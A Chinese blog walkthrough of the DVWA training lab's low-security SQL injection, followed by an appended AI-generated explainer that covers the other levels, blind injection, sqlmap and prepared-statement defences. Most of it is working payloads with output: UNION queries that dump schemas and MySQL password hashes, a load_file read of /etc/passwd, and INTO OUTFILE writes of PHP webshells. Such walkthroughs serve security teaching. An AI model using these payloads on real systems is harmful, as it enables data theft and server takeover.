SQL Injection --low

本文深入探讨了SQL注入攻击的原理与危害,通过实例展示了如何利用注入点获取服务器敏感信息,包括用户身份验证、数据库架构、系统文件读取及在特定环境下利用一句话木马实现服务器控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


<?php    

if(isset($_GET['Submit'])){
    
    // Retrieve data
    
    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

    $num = mysql_numrows($result);

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';

        $i++;
    }
}
?>



抓关键语句 :

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid)

这里对$id参数没有任何过滤

这里是字符型注入

用 1'and '1'='1  和 1'and '1'='2 可以发现存在漏洞

接下来用    1'  order by  2#

所以这个可以简单构造一个     $id=  -1'union select 1,2# 

这样带进去可以带到  sql语句为  

SELECT first_name, last_name FROM users WHERE user_id = ''union select 1,2# '
所以这里用上了联合查询 :

<pre name="code" class="php">SELECT first_name, last_name FROM users WHERE user_id = ''
union
select 1,2
# '
而后面就实现了自己想要的select查询  
这里井号的作用就是屏蔽后面的sql语句内容

那么这里就可以利用sql语句来做我们想做的事情咯。

我们想得到有关php和服务器的信息
<pre>ID: -1' union select 1,concat_ws(char(32,58,32),user(),database(),version()) #
First name: 1
Surname: root@localhost : dvwa : 5.5.38-0ubuntu0.14.04.1

这个是用php+mysql搭建的
mysql数据库可以通过系统表查询
schema_name from information_schema.schemata

我们通过它可以得到数据库信息:
ID:  -1'union select 1,schema_name from information_schema.schemata #
First name: 1
Surname: information_schema
ID:  -1'union select 1,schema_name from information_schema.schemata #
First name: 1
Surname: dvwa
ID:  -1'union select 1,schema_name from information_schema.schemata #
First name: 1
Surname: mysql
ID:  -1'union select 1,schema_name from information_schema.schemata #
First name: 1
Surname: performance_schema


我们可以得到当前的用户和密码

-1'union select 1,concat(user,':',password)from mysql.user# 

ID: -1'union select 1,concat(user,':',password)from mysql.user# 
First name: 1
Surname: root:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
ID: -1'union select 1,concat(user,':',password)from mysql.user# 
First name: 1
Surname: debian-sys-maint:*8010250A4C3114D73C23FCBFCB69BEB2FA21F917
还可以读取系统文件

load_file('X:/php.ini')
magic_quotes_gpc 开启的环境需要转为16进制再读取

-1'union select 1,load_file('/etc/passwd')#

得到信息如下


ID: -1'union select 1,load_file('/etc/passwd')# 
First name: 1
Surname: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync



利用注入点写 shell            ////////////////////   '<?php system($_GET['sec']);?>' into outfile '/var/www/xiaoma.php'#


1' union select 1,2 into outfile '/tmp/xiaoma.txt'#   这句话是完全正确的 并且我在server上成功找到了这个文件

再构造一个类似的
1' union select 1,'<?php @eval($_POST[1])?>' into outfile '/tmp/xiaoma.php'#  成功

但是这里我们只是传到了tmp文件夹下 实际上 我们要传到 /var/www/目录下 也就是在服务器目录下  那么此时一句话木马就可以发挥作用了。。


测试的时候发现  mysql数据库不能在/var/www下拥有写权限  我要好好思考思考  怎么回事。。














<think>我们正在讨论DVWA中的SQL注入攻击。根据用户提供的引用,特别是引用[1]和[2],我们知道DVWA的SQL注入关卡分为不同安全级别(LOW, MEDIUM, HIGH, IMPOSSIBLE),并且攻击方法包括UNION注入、ERROR注入(针对非盲注)以及BOOLEAN盲注(针对盲注)。同时,引用[3]和[4]提到了一些防御措施,比如限制查询结果数量(LIMIT 1)以及分离查询提交页面和结果页面来防御自动化工具(如sqlmap)。 用户要求了解DVWA中SQL注入攻击的步骤和原理详解。我们将按照以下结构进行回答: 1. SQL注入原理简介 2. DVWA SQL Injection(非盲注)攻击步骤(针对LOW, MEDIUM, HIGH级别) 3. DVWA SQL Injection (Blind)(盲注)攻击步骤(针对LOW, MEDIUM, HIGH级别) 4. 防御措施分析(IMPOSSIBLE级别) 注意:在描述攻击步骤时,我们将结合引用[2]中的示例(获取dvwa数据库的所有表名)以及其他常见的注入技术。 由于引用中提到了使用手工注入和sqlmap,但TIME注入耗时太久未采用,因此我们将重点放在UNION注入、ERROR注入和BOOLEAN盲注上。 开始回答:</think>### DVWA SQL注入攻击步骤与原理详解 DVWA(Damn Vulnerable Web Application)是一款专为安全测试设计的漏洞演练平台。以下针对其SQL注入漏洞(非盲注/盲注)的攻击步骤与原理进行详解,结合LOW、MEDIUM、HIGH安全级别的实践方法,并引用相关技术点[^1][^2][^3][^4]。 --- #### **一、SQL注入原理** **核心漏洞**:攻击者通过篡改输入参数,破坏原始SQL语句结构,执行恶意查询。 **数学表达**: 设原始查询为: $$Q = \text{SELECT * FROM users WHERE id = } \color{red}{\text{&#39;$input&#39;}}$$ 当输入为 `1&#39; UNION SELECT 1,table_name FROM information_schema.tables#` 时,实际执行语句变为: $$Q_{\text{malicious}} = \text{SELECT * FROM users WHERE id = &#39;1&#39; UNION SELECT 1,table_name FROM information_schema.tables#&#39;}$$ 导致数据库返回敏感信息(如表名、字段值)。 --- #### **二、非盲注攻击步骤(SQL Injection)** 适用于页面直接返回查询结果的场景。 ##### **1. LOW级别** **漏洞点**:未过滤用户输入,直接拼接SQL语句[^1]。 **攻击步骤**: 1. **探测列数**(UNION注入前提): ```sql 1&#39; ORDER BY 3# -- 尝试列数,直到报错(如ORDER BY 4报错则列数为3) ``` 2. **联合查询获取数据**(引用[2]示例): ```sql 1&#39; UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=&#39;dvwa&#39;# ``` - `1` 为占位符,匹配原始查询列数 - `information_schema.tables` 为系统表,存储所有表名 - `table_schema=&#39;dvwa&#39;` 限定目标数据库 ##### **2. MEDIUM级别** **漏洞点**:输入参数改为数字型(无引号),但未过滤[^3]。 **攻击步骤**: 1. **绕过数字型检测**: ```sql 1 UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=&#39;dvwa&#39;# ``` - 无需闭合引号,直接拼接UNION ##### **3. HIGH级别** **漏洞点**:分离查询与结果页面(防自动化工具),但未过滤输入[^4]。 **攻击步骤**: 1. **利用Burp Suite绕过页面分离**: - 拦截查询请求 → 修改参数为注入语句 → 转发获取响应 ```sql 1&#39; UNION SELECT user,password FROM users# ``` - 通过结果页面查看敏感数据(如密码哈希值) --- #### **三、盲注攻击步骤(SQL Injection Blind)** 适用于页面无直接数据返回,但可通过布尔或时间差异判断结果。 ##### **1. BOOLEAN盲注(常用)** **原理**:根据页面返回内容差异(真/假)推断数据。 **攻击步骤**(以获取数据库名为例): 1. **判断数据库名长度**: ```sql 1&#39; AND LENGTH(DATABASE())=4# -- 若页面返回正常,则库名长度为4 ``` 2. **逐字符猜解**: ```sql 1&#39; AND SUBSTRING(DATABASE(),1,1)=&#39;d&#39;# -- 验证首字母是否为&#39;d&#39; ``` - 使用 `SUBSTRING()` 或 `MID()` 函数截取字符 ##### **2. sqlmap自动化利用** **适用场景**:手工注入效率低时(如MEDIUM/HIGH级别)。 **命令示例**: ```bash sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=xxx; security=medium" \ --batch --dbs ``` - `--dbs`:列举所有数据库 - `--tables -D dvwa`:列举dvwa库的所有表 > **注意**:HIGH级别因页面分离需配合Burp抓包(`--proxy=http://127.0.0.1:8080`)[^4]。 --- #### **四、防御机制分析(IMPOSSIBLE级别)** **安全代码原理**: 1. **预处理语句(Prepared Statements)**: ```php $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->bindParam(&#39;:id&#39;, $id, PDO::PARAM_INT); // 强制类型为整数 ``` - 输入参数与SQL逻辑分离,杜绝拼接 2. **Token验证**: - 每次提交需携带CSRF Token,阻止自动化工具重放攻击[^3] --- ### 总结 | 安全级别 | 注入方式 | 关键技巧 | |----------|-------------------|-----------------------------------| | LOW | UNION/ERROR注入 | 闭合单引号,联合查询系统表[^2] | | MEDIUM | 数字型UNION注入 | 省去引号,直接UNION | | HIGH | 工具绕过+手工注入 | Burp Suite拦截修改请求[^4] | | IMPOSSIBLE | 防御生效 | 预处理语句+Token验证 | > 实践提示: > - 非盲注优先用UNION查询(高效) > - 盲注推荐BOOLEAN注入(避免耗时TIME注入)[^1] > - 遇到页面分离时,手动工具结合(Burp+sqlmap)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值